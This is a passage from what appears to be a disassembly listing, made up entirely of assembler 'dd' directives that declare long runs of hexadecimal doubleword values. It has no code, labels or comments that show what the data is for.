		dd 9B147580h, 0D394F53Eh, 1A36C01h, 3296E92Ah, 0C19C2081h
		dd 0BB0C4C1Dh, 0EB0F8730h, 0BA402D2Ah, 6DB4A0h,	6078502Fh
		dd 0A5B1521Dh, 0A38B2609h, 8EF0096h, 3572Eh, 7C118353h
		dd 0BB2515Eh, 0DB05187Dh, 24EE4E2Ch, 987048D6h,	0AC76001Eh
		dd 0CD1AEAE0h, 81001D62h, 34511406h, 1890DC41h,	58E432EDh
		dd 0C71CEFD3h, 35DE6271h, 0FF9153CFh, 8A554E01h, 0E0D87A33h
		dd 6998C00Bh, 671FF7EAh, 283939h, 3B848C41h, 0C0F1B42Ah
		dd 60F32E8h, 0F9C10DF0h, 95697F61h, 5C6B20h, 0B1131F2h
		dd 3909C82Dh, 0E72F9A00h, 732A590Dh, 3402E84h, 44951E6Ah
		dd 80DF01D9h, 5CE771EEh, 0F9120C00h, 0E0BD83EBh, 61BB0076h
		dd 393A1ADEh, 5718A965h, 6D08CD41h, 6020C0F9h, 188C1936h
		dd 0B8474400h, 759FE0C1h, 3C0C3066h, 3F863AE4h,	0A9066703h
		dd 0F8843B8Dh, 52F91C83h, 340134A5h, 353B9419h,	884F0CA8h
		dd 1A00CC82h, 3B136A40h, 6046B2B1h, 84CA715Eh, 3701AB02h
		dd 4530BBEBh, 39803E22h, 95A5CFF1h, 0EE302C31h,	3AF40893h
		dd 18E4F222h, 289C3C48h, 7D18C0C1h, 5090C287h, 4BAF00E1h
		dd 0D72C3CA2h, 7F00047Eh, 24C5F579h, 0F99B5A89h, 160193E4h
		dd 1ED9C2DDh, 38844CFFh, 15070F79h, 3151F39Ah, 0C9D19930h
		dd 509016D4h, 0A0630CFEh, 0C0085F9h, 0F69804EDh, 1DC00259h
		dd 30547DC5h, 0B2205B20h, 24231603h, 0F6DF592Dh, 0A98C6E08h
		dd 0E5B22940h, 5503BA08h, 126BD114h, 0FC9AD19Ch, 0F737D983h
		dd 5FA81CBEh, 826E9956h, 5CCE019h, 1C4BE91Fh, 0C30ECB69h
		dd 957199DDh, 0BAF9ABE8h, 0DB00EF7Ch, 983B3F4Dh, 28BDC110h
		dd 209C76F2h, 9D1178BBh, 821586F6h, 0AE038032h,	3F8EDC1Bh
		dd 64A865C0h, 8396493Bh, 895D2F0Ah, 90F892EDh, 0C03182B8h
		dd 7DD59039h, 270029A9h, 47B9038Bh, 6B02171h, 9BE91EDEh
		dd 5400C1E1h, 5A70238Fh, 39EB4F5Dh, 9A9855DAh, 0EE80218Dh
		dd 6428140Ah, 7B198189h, 21878509h, 0F114A420h,	0D9729701h
		dd 0C732007Ch, 2448FF55h, 2E1408F4h, 8CC4F964h,	14EA3243h
		dd 3DB57890h, 0AA8B3Fh,	0F5D3A691h, 4DB075h, 69013108h
		dd 7FBDB318h, 0A35AD80Eh, 2FB803F2h, 6490BC41h,	75FDC9D6h
		dd 1B9A98DEh, 897D58Dh,	30F768F6h, 9300FD71h, 0F621F876h
		dd 11928D6h, 30994216h,	228138BEh, 0A46E0340h, 0A1E02C8Fh
		dd 10FC350Bh, 820F4F2h,	0C0AD804Ah, 0E94BC70Eh,	0B1190323h
		dd 38B8F05Eh, 0C8835217h, 49F6C0Bh, 37C3E400h, 0F703C813h
		dd 39C1D8EBh, 0E7C6D85Dh, 0BE543AAFh, 9CC45595h, 314EF82h
		dd 37F4B185h, 3183289Ch, 809A14E9h, 9C5333h, 0F6C886F8h
		dd 5782F55Ah, 385281C0h, 0D88103h, 98AA0C30h, 0DE33B215h
		dd 0E3837F13h, 3B00DA1Ch, 0DB83139h, 0A0CF49C0h, 0F4B20680h
		dd 448C3422h, 2F049684h, 0BF874BB2h, 6CE1C890h,	21D7D56h
		dd 5B883475h, 0CC415CF2h, 82718C2h, 4C22F3B2h, 0C157C2h
		dd 0C3B21091h, 38EC6A06h, 0AA04051h, 0E641488Ch, 0DD9D8680h
		dd 0B224515Ah, 8A113C05h, 29300296h, 3C4CF164h,	2D3B8F44h
		dd 0DF761487h, 7B309802h, 16144977h, 5270DF8h, 0D83EDD17h
		dd 28D02778h, 51501C0h,	30D15264h, 3F0F8422h, 66E514EBh
		dd 26A9A0DCh, 412C3A48h, 0D2B91BD3h, 82112C97h,	0E8DF1F81h
		dd 1BC11773h, 86687F9h,	0CE1ACA01h, 0CA9C53Bh, 0C2648845h
		dd 75311A0Eh, 8F1D00AAh, 0E01FAD05h, 786206E3h,	0A0300D2Fh
		dd 23B4E048h, 0FDCC0714h, 62CFD4C5h, 0B82D00ACh, 0B7002B1Eh
		dd 36C7CC1Bh, 0EF6177h,	829BB1DDh, 0A06C4468h, 338E7400h
		dd 0CE31F70h, 78310990h, 1B01488Bh, 802DEB59h, 1B078F38h
		dd 1C086914h, 316F8DAAh, 80349608h, 1B0F9220h, 0C5736DEh
		dd 50C7BCD1h, 9F00B071h, 0C8044793h, 8A6007h, 39DB0DB7h
		dd 0F03E3D06h, 188D613Fh, 8E3055F1h, 2D08CEDAh,	670D94C3h
		dd 34607188h, 75E9200h,	5A811FF3h, 0B56C0068h, 0CCE3273Eh
		dd 0EC523440h, 1B130258h, 31A867E0h, 0FB8E109Bh, 9F8B031Ah
		dd 0F00F4715h, 16F7391Ch, 8C426203h, 7A88A65Bh,	82B0FD7h
		dd 406315E1h, 8414DD6h,	12B41054h, 0ED6058BAh, 0E3EC1649h
		dd 0C1F11E19h, 282014FFh, 0FA2B4880h, 448C45E0h, 502496ABh
		dd 0F70C992Bh, 374FB199h, 8521CA43h, 0B5340059h, 5AFDBCF5h
		dd 5018FC3Eh, 36002570h
		dd 15B7441Ah, 1D237BB9h, 0AEE99DDFh, 47053BB3h,	15B1258h
		dd 811C567Ch, 3A119E5Dh, 95470707h, 5E6A93C0h, 764E0080h
		dd 2B10B762h, 0FA07D668h, 1130243Fh, 5B0AF510h,	1EB00CFh
		dd 0D607191Ah, 1B125617h, 44040C8h, 5CCEF54Dh, 2DFA06A9h
		dd 88AB6ECh, 0FF213E60h, 4ACEEBh, 19EA8D7Fh, 0EE8F7E29h
		dd 710090DEh, 0F380309h, 8A743A32h, 784C6200h, 0A4D8E16Ah
		dd 0E507A5F6h, 5D2A45E7h, 7E0CEE90h, 8141C08Eh,	0F8F37F32h
		dd 5A19E0E8h, 5C08AB05h, 5B4EF183h, 33D8A57Fh, 0E10AF614h
		dd 8880BFC9h, 0B4015640h, 0B2970050h, 0E1784783h, 1801DA28h
		dd 0A91F760Eh, 0D9DF5FA5h, 0F448B65Dh, 260604FDh, 82D0C312h
		dd 0F033ED50h, 4369151Bh, 0EAD80B0h, 3C0D401Bh,	0C9EADE44h
		dd 46F906FEh, 610411F7h, 0D7515750h, 785D11EBh,	217F7A7Bh
		dd 21C0AAF8h, 5A87F20h,	323DE1F2h, 35300079h, 0DC6897B1h
		dd 0CBE30B02h, 4856594Fh, 0C08C7E3Ch, 0C7148629h, 0A124F04Ch
		dd 5D119819h, 2D2B1387h, 0AC70585Ch, 1B9D88h, 5DE6472Bh
		dd 92E144F2h, 22C740A1h, 6E8B1C08h, 17186300h, 9D129DF8h
		dd 0B2C02D0h, 0F8294160h, 0B9189A79h, 5FAD5D18h, 3B117A9h
		dd 0B80C4403h, 1AC9A54Fh, 0B202546h, 0EF88C4A8h, 9A66BB30h
		dd 38C11103h, 1638BFDh,	6EB09969h, 0EC100988h, 0B70C5C19h
		dd 21618A23h, 114402A8h, 35BFF680h, 0A36BC360h,	5CAC8E50h
		dd 2B14028Ch, 8AE5E106h, 0A017C219h, 37952B1Ch,	93967F00h
		dd 4BF0E105h, 0EB6919D3h, 1821506Bh, 72B0F47h, 0C8701DE1h
		dd 4FB980B1h, 60BFDA2Bh, 0FB8DA30Eh, 0B7D4402Eh, 2A434EA6h
		dd 0F907FD6h, 0EC5981AAh, 199D2220h, 98F3BDh, 7A723146h
		dd 8AA923CEh, 0ED004411h, 0E15CEA5h, 4C035036h,	0C7F093C1h
		dd 0D721003Dh, 0CCFCA911h, 0C338E19Dh, 828C8002h, 0A7C0BF78h
		dd 7C0C00F5h, 41F616D3h, 0E1EAFB50h, 8A1F6E02h,	620A4FE0h
		dd 2481072h, 0A93311CFh, 9E4888D2h, 0DCCE81F2h,	30D2742Eh
		dd 37A470Ch, 4D033892h,	86D399B1h, 4FBBE843h, 129B7E31h
		dd 20D650E8h, 326A92A8h, 190D51C3h, 8734894Ah, 0FC075C26h
		dd 8694B1Ah, 0AF4098C4h, 0A77F1B04h, 743A1200h,	7174664h
		dd 25B602FDh, 49894FC0h, 41A7E8A0h, 85025808h, 46CD2C6Bh
		dd 0B58940E2h, 8D960599h, 3A29D4A8h, 24223CCh, 0E2478B52h
		dd 893048C6h, 0F5EC795Eh, 25A80017h, 0FCA61519h, 167735C2h
		dd 3A689318h, 99E35049h, 5F580CA8h, 65004A49h, 0CED4BEB0h
		dd 609EF8h, 14203C93h, 4EBC5630h, 5871B70Ch, 9A3182h, 542C103h
		dd 5187A936h, 11F50200h, 2A50CCB4h, 409358B6h, 5E5A2F00h
		dd 819D1E53h, 4000C8A4h, 5B50C2D4h, 906C5D9h, 818301EDh
		dd 0C9974090h, 208C0501h, 0C27D63ACh, 7C1C38DCh, 90B1588Bh
		dd 709264C0h, 0B500D4F3h, 938565B2h, 114A24h, 0F6F18DBh
		dd 130B4846h, 0F8439612h, 0C9F79420h, 294D0174h, 928832BBh
		dd 783204h, 0C9A1F99Fh,	3C41F0C3h, 5A079E4Fh, 44190BBFh
		dd 0E91890CEh, 0F800DD32h, 6FC9D33h, 1F18FAD7h,	0FD236FECh
		dd 1CB1FB0Fh, 1E0BF980h, 144C8813h, 6F63BE4h, 25C7424Eh
		dd 48280071h, 2E781E8Ah, 0C2049224h, 89DAED69h,	17190C8h
		dd 78862519h, 0FFFC5014h, 5B5AC180h, 1181CA02h,	617AC6F9h
		dd 0F8738DCDh, 1E32B800h, 0A2CD44E6h, 80F4F37Ch, 8148100Eh
		dd 0CE20720h, 4AB25E81h, 73FD6987h, 8B81922Ah, 0A74494A0h
		dd 1A00E678h, 0B9E39E6Dh, 2A47763Bh, 3484E704h,	8071BE66h
		dd 0B134E1E4h, 9FBA6B0Fh, 0DB59D88Ah, 0F37171h,	0A49472EBh
		dd 14E5493h, 0D3A19F01h, 0E8F946D2h, 7DEA5180h,	0FD5BF47h
		dd 84BE08CBh, 0D489F980h, 5F98B02Eh, 5C895718h,	3A58D61h
		dd 7ECDE988h, 914841C7h, 83D8054Ch, 83C08179h, 52284Bh
		dd 4F10830h, 9EE318F6h,	895C2Ch, 1775F240h, 0BBB05B2h
		dd 0C071B9DEh, 65E01CA4h, 51B72E1Eh, 3E6C6F00h,	0C206EC5h
		dd 39E58F60h, 0E33E9F71h, 4B2F1FB1h, 85781D19h,	69C0A457h
		dd 0FEAF0Ch, 0DC4B2B1Ah, 6F86452h, 0F95BF701h, 0FD3F26BBh
		dd 8AA2CB40h, 484D4892h, 1780D8Ch, 11E46948h, 287C2970h
		dd 0F4B8E0F6h, 11AE05A5h, 23EA0C47h, 92E173CCh,	3C7C3268h
		dd 0F80600B4h, 0D6AD1318h, 786E06B2h, 70F48B41h, 58503444h
		dd 7898B8E4h, 78608184h, 0F7C0C711h, 0AC2703CDh, 351285F6h
		dd 95CB803Ah, 3BA44889h, 0CDE40034h, 0FF8ED69Fh, 79160EB5h
		dd 2C60A0C2h, 56C45C33h, 8D6AB405h, 0C0208BF6h,	0D40D6Dh
		dd 43E4AB76h, 1D92B657h, 0FC283Dh, 0A747A385h, 3324B7C4h
		dd 79B1845Eh, 88C393A3h, 934F80F9h, 8A00BF5Ah, 6F431C73h
		dd 5870192Fh, 6F60316Ah, 0FE6BE8E0h, 907092A9h,	1AD70554h
		dd 40E60E47h, 935A3EA0h, 0DA0B1FD4h, 83A106EDh,	0DD0367C4h
		dd 85B3C3h, 0E6ABD951h,	0EEAAB1D0h, 54E09A00h, 19C8CDEBh
		dd 917Eh, 0ED5B5E10h, 0DA038921h, 58E7FFB2h, 20B4D40Bh
		dd 90450740h, 755CBF1Ah, 6D900214h, 1872C6A5h, 0EC794201h
		dd 0FE0A82C9h, 66B09D8h, 80C28C4Fh, 1600697Ah, 0AF221F2Bh
		dd 18F449E5h, 4138C81Bh, 34006EF1h, 0D527D011h,	4879B9F5h
		dd 241E2096h, 16F9C15Ch, 22AD5E42h, 0E641DACh, 8480A134h
		dd 5134CAE3h, 11E0AE59h, 74DEE8FCh, 0E1A82609h,	77111Ch
		dd 428C480Bh, 15043ADDh, 0A007B9BEh, 0D31D7000h, 0D5E0C6E1h
		dd 0A83DA101h, 8BF77FDDh, 0A002022h, 19642E7Eh,	1A0060AEh
		dd 4CDAA0CAh, 0F21E70EEh, 20844ADBh, 0E199D150h, 548BD725h
		dd 1821389h, 8113F01Ch,	5F918084h, 0FE1D26DBh, 0C5EA0198h
		dd 1C48A833h, 9720705Ch, 8AB28412h, 21EB1490h, 332A0576h
		dd 513D2Bh, 0E9E8EB9h, 0B40F4E30h, 505573h, 4340C014h
		dd 389899E3h, 1B7B1502h, 908E7191h, 1E02600h, 37610293h
		dd 8DE150B1h, 36EB3180h, 20432BCEh, 3370B0A0h, 309CDCECh
		dd 0B25DE084h, 290764B3h, 0CFC60C44h, 6FED0960h, 8001AA6Ah
		dd 0FCE9734Ch, 0CC437901h, 0DCB2E457h, 5216AF01h, 0E1CF29EDh
		dd 1E8BD411h, 0D125B200h, 0FB58B64Eh, 0F93A2C06h, 8EA1630h
		dd 8E923888h, 67BF0820h, 55810B5Ah, 8C0057C6h, 476B7263h
		dd 0C0D0E14Ch, 98D986A3h, 0C0516214h, 8A295EACh, 0B42642B4h
		dd 28120796h, 74AFD831h, 0BB5D2F4h, 0A82E9C8Ah,	0F1C17980h
		dd 620F54C6h, 736BB7h, 37D90A23h, 1577027Dh, 5E7E1C82h
		dd 4B6A98A0h, 4500869Dh, 2CE83E39h, 0EB5F251h, 0AC06A6C1h
		dd 886C8C82h, 453C7CE6h, 750F7086h, 8066ABD7h, 0C869EC91h
		dd 1693063Eh, 0C15D8C33h, 0E49F2100h, 3950F855h, 0F31D0F09h
		dd 0D6F952h, 97EC1E0Ch,	0A8FEB734h, 7324881Ch, 2020B0ECh
		dd 74FE0E00h, 0D6E1BFAAh, 6688C82Fh, 15C0BA80h,	32CD773h
		dd 5DC4CE5Fh, 64D97247h, 835072EEh, 0E7C52D6Eh,	2764D601h
		dd 7DFAB1E0h, 0FCEF4446h, 6C24B300h, 92D78126h,	3A7A0035h
		dd 0E0663CD6h, 414948Bh, 60F84189h, 287A01C0h, 9874B069h
		dd 34035860h, 30645089h, 89594A0Ch, 48D165h, 0E447BFD1h
		dd 53B2D4CAh, 64E7E301h, 0CF37ED0Dh, 0EC6259C1h, 0D9DD4500h
		dd 0ADA7702Bh, 27020E12h, 0B6CA9003h, 0C7300E2Ch, 2B15E32h
		dd 2BA3FFA6h, 0B734404Ah, 0E2F03993h, 4405C0D8h, 803EA984h
		dd 0CBD9FA98h, 0B71FADE0h, 67ABF2Eh, 2B6C901Bh,	130F00C1h
		dd 0ABFCD68Fh
		dd 79067047h, 2A519280h, 140D0021h, 0D9B16DF3h,	5801F8E1h
		dd 4351AAF6h, 0A85071DDh, 918BFC41h, 251364h, 0DDAC8AD3h
		dd 19009FB1h, 74CADAA9h, 28470F3h, 476DC0C8h, 247A5A17h
		dd 88D0BB00h, 0A8CA3EECh, 0A0510372h, 9CD17C0Bh, 6A7867D8h
		dd 1ECA25Ch, 0B70AAEBFh, 0DAC8FC06h, 0E1EB0412h, 99EF57B2h
		dd 0CF0440A0h, 812A9CB1h, 0FD01D086h, 13C56CDh,	5BDCAB74h
		dd 0EAD424D5h, 97E1F50h, 68185886h, 0D5018E59h,	0DB76CC21h
		dd 0D4FB6622h, 10C174C4h, 0FFF5143Dh, 84052C70h, 3A104D48h
		dd 0D189E55Dh, 0E076C780h, 5AA50183h, 0F48C91A6h, 0C7AC404Eh
		dd 9E80BD7h, 71AA9A12h,	51804407h, 54A46744h, 9147608Eh
		dd 0CD06D89Dh, 831E3A02h, 602A2621h, 7D5059h, 874FB178h
		dd 6B4716Bh, 0E18D202h,	0C2149182h, 0B98852DCh,	2DCC01ACh
		dd 30B13C8Bh, 0C501BB97h, 0FC917E1Bh, 0EC2893DFh, 0D6025F00h
		dd 5739474Dh, 941EE809h, 3804413h, 29BC0E91h, 0B2D2DE2Ch
		dd 0DCE9CC69h, 4A00705Bh, 0E0CF6E6Dh, 0B69081h,	7530EB88h
		dd 7F0316CEh, 0C976F670h, 0D4D63904h, 88C369B4h, 605494ABh
		dd 0B55CF90Ah, 2922018Ch, 4186E105h, 307028ECh,	4B0038E1h
		dd 0B7A76240h, 0ED2F753h, 34FA61Ah, 81E2F485h, 24827CE0h
		dd 0E1888ED4h, 304E61C7h, 0CC1EB2BEh, 0F103E85Dh, 0E4C47219h
		dd 0A0C2DB61h, 6842AF2h, 0F9814E94h, 0C661207Ch, 1EA54918h
		dd 74D7F8h, 0DFDC8F61h,	0FF08F85Eh, 0BCEAA600h,	0C1D93DCAh
		dd 87110C41h, 3828735Ch, 0D1183Dh, 7D5448E4h, 0A04CCFACh
		dd 6273F2h, 8B6C100Eh, 707BB152h, 32E3AA06h, 802354h, 0B6C4188Ch
		dd 0EEA7F521h, 81988578h, 3A3833Eh, 0DF7D57BEh,	4768038Ah
		dd 4477CB90h, 0F2877818h, 0CF52A9h, 0B938AF2Ah,	2E03F7C9h
		dd 0CD00807Bh, 449AFCD5h, 0E19F6D0h, 18B64C89h,	0AE9CF281h
		dd 80E631D6h, 812EE7A9h, 1135798h, 319485A7h, 30569DD6h
		dd 0F21F3225h, 0C80CEDCDh, 0F261306Dh, 0ECA4034Ch, 0E43EBF03h
		dd 85EB24A8h, 913D9B18h, 0B913B1h, 0D4CE0926h, 68D276DEh
		dd 0AE3C200h, 0C360F1BCh, 84F20C35h, 0B7894BCEh, 0BA764200h
		dd 1DADC834h, 55B0C0BCh, 63A49B41h, 0E04AD4A1h,	0EC44E651h
		dd 7183603Ch, 0A25CFC92h, 0AD453000h, 5BF6873Fh, 3A503F9Dh
		dd 69B2C102h, 586196BCh, 62C98E78h, 3EE2941Ah, 8081BC8Eh
		dd 11AE2294h, 0C063EBD6h, 13597358h, 69C06B3Ch,	0FA519B1Dh
		dd 67600E4h, 0A84D1F3Dh, 9A04A9FEh, 1388C242h, 81702C81h
		dd 0E8A081D2h, 18245987h, 0BA9F077Ah, 90A69D86h, 4FC3C70Eh
		dd 3839B48h, 8505EA7Ch,	617900E3h, 0AAEF63B6h, 3E009741h
		dd 0D35ECFEh, 2AE8A7CFh, 9C44CCh, 0AB60A457h, 0F781EFD9h
		dd 0B836A303h, 328833Fh, 596E9E10h, 310053D2h, 5C4265FCh
		dd 7E1F0ECh, 0A51B601Eh, 19C5F009h, 7E7582DFh, 9B47B1C7h
		dd 0DE2B4B50h, 999F606Bh, 157F22E7h, 2F557200h,	46DCC375h
		dd 9043F23Dh, 63A276CDh, 6C6E417Ah, 7D7795C8h, 980031F0h
		dd 0AACC5EE6h, 0CF5D8B4Ah, 20407F69h, 0A39914A7h, 0E2B84B00h
		dd 9EA5C19Dh, 73571CBDh, 0EB8BCA3Ch, 7C3A80FCh,	4855D3FDh
		dd 7A9A6603h, 9CCB2BC1h, 0AF8F9980h, 7D530C31h,	0FA8982D8h
		dd 0B6AE7905h, 0CC0118ACh, 5C847C36h, 1DB51C10h, 6FE04D4Ah
		dd 5D6150Eh, 4C14C438h,	3C183CF3h, 68DB5184h, 0A13AAF00h
		dd 0C26354D7h, 6E07BD0h, 3C2F5DEDh, 8400296Dh, 71FE9020h
		dd 13B955F8h, 1D9D2Ch, 0D7945D00h, 0CCA84EEEh, 0B0A97266h
		dd 8AB2F021h, 0B9A9D600h, 805AF0Dh, 3F189856h, 3CA9F9BCh
		dd 6ED300B0h, 1DE3ABECh, 0C27B6F00h, 44D8B201h,	0F08430FBh
		dd 16355CB9h, 8632120Fh, 37BE6006h, 30484756h, 8D8151CDh
		dd 2100AF5Fh, 0E5D6B4Ch, 4DEFD19h, 46F5E604h, 0A2008C62h
		dd 80D3F83Eh, 21B4902Dh, 0F608813Ah, 9D7B06E7h,	79F18476h
		dd 8DBD9800h, 0F7D550BCh, 0D3EE0F25h, 0CD0555B9h, 0D4B04735h
		dd 0EDAFD05Dh, 6005EE2h, 0CF68D015h, 39F3D63h, 9D056D10h
		dd 72F89C84h, 0BAA0CDBFh, 7D078CB5h, 93C8C18Eh,	947EF83h
		dd 0DA0899C9h, 0DB7EFA02h, 0D233DC44h, 0E07B2146h, 92594B9h
		dd 10BE8907h, 0FCC5D803h, 0FEB88EE0h, 0D2527098h, 0AAD300CCh
		dd 0D127799Ch, 6F393BD6h, 2C00674Ch, 0FF914193h, 5D03C40Ch
		dd 94B53DF2h, 842EA8E7h, 987954E1h, 33160EECh, 9E81BD3Fh
		dd 0F830E7F4h, 21C37169h, 0C0A70A17h, 98BC0Dh, 81C7DE9Ah
		dd 4D2D06B9h, 740329F2h, 0C46BB348h, 74FEBDAh, 0A493CBE6h
		dd 53A9DCCCh, 0A26E7000h, 0E6EA3D49h, 54A57559h, 9C806Ch
		dd 0FD7DE4B1h, 0E2A6ED80h, 0A449CD07h, 0E11F4A9Eh, 0C419FE2Ch
		dd 0F8E569C4h, 107860F9h, 86C58464h, 20B0B505h,	8C21F7D6h
		dd 0C1806769h, 9E0137F2h, 3004E650h, 489AF199h,	473DC5AAh
		dd 50F9B9B0h, 804215ECh, 905E3C05h, 68928BC9h, 9138C1AFh
		dd 1C24DAE1h, 304B00E9h, 9FD7DB55h, 0C903864Ch,	0CE9AF283h
		dd 89810049h, 93A6B329h, 0A700EA8Fh, 242DECFFh,	7E5711Eh
		dd 215578B0h, 86D110DFh, 88984F9Fh, 0EA88F90Eh,	0E598080h
		dd 0C0E12215h, 0F198B1E2h, 0E300502Ah, 9C513F85h, 305FA7BCh
		dd 0E7E98A66h, 0C500F9EBh, 225B2428h, 95267Dh, 9DCA5EC3h
		dd 6E350A7Bh, 14F28100h, 820CFC3Ch, 0E09600E2h,	0DDA1A993h
		dd 693090ECh, 0EE035173h, 98BC7BBDh, 0EAAF014Eh, 7DA00983h
		dd 478450DBh, 501953Dh,	4B1ACCC4h, 0D860209Fh, 0E3680070h
		dd 75660C2Dh, 0ED48D7CFh, 4E988080h, 1E1183h, 0A3F814E5h
		dd 0E35C967Dh, 6BA9E2Ch, 0F7D7D103h, 8131004Dh,	4B5534ECh
		dd 0F401BF1Fh, 0E2A56886h, 5EF024E3h, 0B9721F99h, 0D16405F7h
		dd 69C021CCh, 0EF3D601Eh, 3B4B2706h, 78D96466h,	1980049h
		dd 3C5E3341h, 4A24AEE1h, 0BF0528FCh, 7CC02526h,	12E0DE55h
		dd 427CDF5h, 28F3A2Ch, 0F21F04Ch, 18400012h, 1091F109h
		dd 9C81AF00h, 0FD8AD7F3h, 0B8020512h, 8884F857h, 2B25F2B0h
		dd 94D863h, 0CD8C195Ah,	849FE5C1h, 38B9BA6Ah, 8B80F494h
		dd 40089269h, 0F635ED6h, 835FAF01h, 80C4D40Ah, 88C55877h
		dd 94380CA3h, 0B99000FAh, 5503EF6h, 4A2C9018h, 76382379h
		dd 0E7D351DBh, 83F412Ch, 1B7F6B40h, 222F2511h, 69883810h
		dd 286D2700h, 0CFE5EF35h, 3E48245Eh, 0B4A30579h, 0E874C83Dh
		dd 54869F03h, 0C06E841Fh, 7EDAC5Ah, 0A8874F14h,	719FA1F4h
		dd 7B403033h, 9A7AF88h,	25E58357h, 3F30A482h, 0B6000C64h
		dd 9DEC4286h, 3B8EA0B1h, 6863763h, 41F2513Ch, 0F4DE8F0Bh
		dd 1888905Eh, 2D580162h, 0CBF78C54h, 6B347020h,	0CF0F8508h
		dd 0C73E8049h, 7270BD2Ah, 9CE2E700h, 964D6D8Fh,	850816CFh
		dd 5010194h, 21F79EF5h,	0DA92F438h, 3DDCB00Ch, 0C8A178h
		dd 0E46F1FF9h, 11D276D3h, 86EBF700h, 0A55D196Bh, 0CF74AB85h
		dd 94E64970h, 246092A4h, 60E058AFh, 7CD8E4F1h, 3106F05h
		dd 0CC008C1h, 2B05B92h,	0CD1241B5h, 0DC40818Eh,	2D4CC857h
		dd 3DEA794Ch, 5400E0A4h, 0D5517880h, 98CC1C9h, 0D236DCBCh
		dd 0D3D0B080h, 0DF0A5B53h, 8450F4D7h, 6880F8A9h, 0A6F8AF7Bh
		dd 6053005Bh, 510F836Dh, 5428A50Dh, 2300146Bh, 9BC1553Ah
		dd 1C1B9AABh, 125B44C9h, 96CC01A3h, 29CFF345h, 1643A9Ch
		dd 0C275B761h, 87304382h, 0BFA30AB2h, 0BCE02686h, 0F8285300h
		dd 36E3DB2Eh
		dd 0FF0C0A05h, 482AED6h, 0DC51A1h, 16DF24Dh, 0FB266C75h
		dd 761FF828h, 30D99080h, 1998590Ch, 384D16E4h, 0AC083Ch
		dd 179226B8h, 4A73A087h, 48D95100h, 39253049h, 7EC716BFh
		dd 0D8C83771h, 0D41A8C81h, 2D619E78h, 0AF2E4ECh, 6CCC8322h
		dd 50949588h, 0D9E89600h, 0F5FA76D1h, 24DDFD00h, 63C4B99Ch
		dd 9B171385h, 0B43401C5h, 0F886A25Ah, 4812555Dh, 60D0E083h
		dd 0FA85A4AFh, 44AD4849h, 6C33E97Ch, 0BBE077Dh,	801EB12Fh
		dd 93439CE1h, 2E983E63h, 14ECA050h, 25C1EC2Ch, 0AC20CFA4h
		dd 86E6035Ch, 7E36B100h, 515D3879h, 0E1430011h,	625CC460h
		dd 0E005DA5Ah, 6646A405h, 0CB8088h, 5D92F323h, 0D83CFAB8h
		dd 0CDE9FE00h, 52ECBE77h, 8B621C67h, 53F393ACh,	57FF0018h
		dd 0A125A96Ah, 9F075CF6h, 0F4A7C130h, 84D64AF3h, 0ADE10B4h
		dd 0A5EA9C8Ch, 4E0200B6h, 0BA85AAC1h, 809C7A48h, 0F391538Fh
		dd 45AE023Eh, 0CB905994h, 500F1080h, 9C01E338h,	0DC6BC8DDh
		dd 3862F6D7h, 5A948100h, 0E8878363h, 9B5A1C0h, 0FA2752C6h
		dd 7E9B3EFAh, 414DAEh, 53324511h, 0AE00B8C7h, 0C3C56462h
		dd 9983CD5h, 3EBE6DE1h,	0B0ADA481h, 8ECEF874h, 3BAE8314h
		dd 842C0BC0h, 0AFAC90CDh, 5CF87874h, 4C228434h,	0D6894300h
		dd 8AF0EA87h, 5C9C0379h, 14E6B3EDh, 804505E1h, 252D4C29h
		dd 60875B54h, 0B4A9B9DEh, 0B1007E30h, 0AE24B7EFh, 90CDC56Bh
		dd 4817C35h, 97A2D08Eh,	0BC2CB43Dh, 392D0300h, 34839D17h
		dd 55330ED0h, 80807DB6h, 0F201B5D7h, 0A8584C34h, 7954D002h
		dd 3D8C6DEh, 0B23CECE7h, 6EA30CEEh, 0FEB35900h,	98DFCB74h
		dd 7B122C5Bh, 0BE36054h, 100967C3h, 84F63091h, 0E4A4CC78h
		dd 0FD9D1346h, 21970095h, 0C8A10719h, 0A997DA00h, 0C4343FCAh
		dd 31E200D6h, 98D0369Bh, 0B3075420h, 0DEB5AC07h, 50C0BD87h
		dd 604CEC8Ch, 0C31D11CBh, 874C5204h, 430C7C8Eh,	402DB57Ah
		dd 0A2950BBDh, 0B6841478h, 0B500EEC9h, 0E14F1604h, 69A76019h
		dd 0F220EF1Ah, 0E27FAE1Eh, 0DD199598h, 0A41204A7h, 8024FFACh
		dd 65BC033Bh, 2A43DB01h, 0CC4C0D22h, 0C79E8983h, 0D7B08869h
		dd 99048795h, 0D19D15A8h, 29784E0Fh, 0BF004F54h, 0E8FDE6FCh
		dd 1BCFABBCh, 30099E04h, 0F0BD7907h, 119C43E2h,	30051D0Dh
		dd 7C2A0Fh, 7D17805Dh, 66B36CD7h, 0C878CD30h, 0C8280Bh
		dd 4643FBAh, 0BCA82C17h, 3948C9h, 14117DAFh, 1A843C5Bh
		dd 1CE4A280h, 9F9A1208h, 0F5719E60h, 8A14E2h, 0A88F429Ch
		dd 0DD91121Fh, 0A7DC9203h, 99B20Fh, 85DA7AD9h, 0D2BBD53Eh
		dd 2580515Bh, 0E074C3h,	799D1427h, 0FAA78F3Fh, 0EC1AA407h
		dd 0BC807DE7h, 0C0A634E2h, 3D728271h, 0DB00333Bh, 63541A3Fh
		dd 5DD0488h, 12A81903h,	2B8C402Ch, 441A7A1Ch, 92D81F00h
		dd 0B527B034h, 0BCF93990h, 7A7C8982h, 1844D3ACh, 53343E00h
		dd 0C3E6FDF4h, 13492BAh, 201D2D05h, 50AA2A3Bh, 6D560190h
		dd 83754C3Ch, 0ABAC9BEDh, 9465C0DDh, 1E63C09h, 920BE78Fh
		dd 4306B9B8h, 63AAF000h, 862220FBh, 1FF60745h, 0C68A09h
		dd 1D0F05E2h, 574E1A00h, 23B5471Bh, 4CA41901h, 30F4A1EEh
		dd 6C173598h, 140C8A3h,	2B0B0EFEh, 68730E7Fh, 0E9CCACEAh
		dd 9271B031h, 66EB81C7h, 6322ED00h, 7F90A78h, 901A02h
		dd 1B6C65ECh, 0A4535680h, 7B9400D8h, 8CA2A05Dh,	9AB00E9h
		dd 0A1430AD8h, 0DE00B8D7h, 0DD4B3659h, 189030B6h, 79DF4D56h
		dd 0B1FAEA31h, 82F7FA00h, 92E23211h, 0A82C7AF0h, 73BCAA0h
		dd 71FE4410h, 0B715E14Ah, 8083FEDEh, 0B5F2475Ch, 24194480h
		dd 850132EAh, 0C97B7535h, 82DCD4C7h, 0A5E70727h, 2E9E280h
		dd 442B4DCh, 0C7340C84h, 0ACA2803Bh, 99C0D0AEh,	1D74E9FFh
